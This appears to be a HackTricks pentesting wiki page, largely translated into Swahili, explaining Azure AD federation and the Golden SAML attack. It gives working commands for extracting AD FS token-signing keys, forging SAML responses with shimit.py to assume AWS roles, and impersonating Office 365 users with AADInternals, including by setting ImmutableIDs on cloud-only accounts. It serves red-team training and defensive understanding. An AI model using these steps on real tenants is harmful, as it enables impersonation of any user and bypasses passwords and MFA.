Az - Federation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

From the docs:Federation ni mkusanyiko wa domains ambazo zimeanzisha trust. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha authentication na karibu kila wakati kinajumuisha authorization. Federation ya kawaida inaweza kujumuisha mashirika kadhaa ambayo yameanzisha trust kwa upatikanaji wa pamoja wa seti ya rasilimali.

Unaweza federate mazingira yako ya on-premises na Azure AD na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba authentication ya mtumiaji inafanyika kwenye on-premises. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na AD FS na PingFederate inapatikana.

Kimsingi, katika Federation, authentication yote inafanyika katika mazingira ya on-prem na mtumiaji anapata SSO katika mazingira yote ya kuaminika. Hivyo, watumiaji wanaweza kupata cloud maombi kwa kutumia on-prem credentials zao.

Security Assertion Markup Language (SAML) inatumika kwa ajili ya kubadilishana taarifa zote za authentication na authorization kati ya watoa huduma.

Katika mpangilio wowote wa federation kuna pande tatu:

• Mtumiaji au Mteja

• Mtoa Kitambulisho (IdP)

• Mtoa Huduma (SP)

(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum.

2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na inampeleka mteja kwa IdP iliyochaguliwa.

3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya authentication, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji.

4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo.

Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:

SAML AttacksHackTricks

Pivoting

• AD FS ni mfano wa kitambulisho unaotegemea madai.

• "..madai ni kauli tu (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."

• Madai kwa mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.

• Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.

• The ImmutableID inahifadhiwa kwenye on-prem kama ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.

• Maelezo zaidi katika https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML attack:

• Katika ADFS, SAML Response inasainiwa na cheti cha kusaini token.

• Ikiwa cheti kimeharibiwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!

• Kama vile unavyofanya abuse ya PTA, kubadilisha nenosiri la mtumiaji au MFA hakutakuwa na athari yoyote kwa sababu tunaunda jibu la uthibitisho.

• Cheti kinaweza kutolewa kutoka kwa seva ya AD FS kwa ruhusa za DA na kisha kinaweza kutumika kutoka kwa mashine yoyote iliyo na muunganisho wa intaneti.

• Maelezo zaidi katika https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Mchakato ambapo Mtoa Kitambulisho (IdP) anatoa SAMLResponse ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, jibu linaweza kuwa limesainiwa au limefichwa kwa kutumia funguo binafsi za IdP. Utaratibu huu unaruhusu Mtoa Huduma (SP) kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.

Mfanoweza kuhusishwa na shambulio la tiketi ya dhahabu, ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili kuunda kitu cha uthibitisho (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.

Golden SAML zinatoa faida fulani:

• Zinaundwa kijijini, bila haja ya kuwa sehemu ya domain au federation husika.

• Zinabaki kuwa na ufanisi hata na Uthibitisho wa Mbili (2FA) umewezeshwa.

• Funguo binafsi ya kusaini haijazinduliwa kiotomatiki.

• Kubadilisha nenosiri la mtumiaji hakuharibu SAML iliyotengenezwa tayari.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) ni huduma ya Microsoft inayowezesha kubadilishana kwa usalama wa taarifa za kitambulisho kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.

Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata ruhusa yoyote katika mazingira ya AWS. Shambulio hili linahitaji funguo binafsi inayotumika kusaini vitu vya SAML, kama vile inavyohitajika KRBTGT katika shambulio la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.

Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na:

• Funguo binafsi ya kusaini token

• Cheti cha umma cha IdP

• Jina la IdP

• Jina la jukumu (jukumu la kuchukua)

• Domain\username

• Jina la kikao cha jukumu katika AWS

• Amazon account ID

Vitu vilivyo katika maandiko makubwa pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa.

Ili kupata funguo binafsi, upatikanaji wa akaunti ya mtumiaji wa AD FS ni muhimu. Kutoka hapo, funguo binafsi inaweza kuzuiliwa kutoka kwenye duka la kibinafsi kwa kutumia zana kama mimikatz. Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Kwa taarifa zote hizi, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> wingu

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Ni pia inawezekana kuunda ImmutableID ya watumiaji wa wingu pekee na kujifanya kuwao.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

References

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.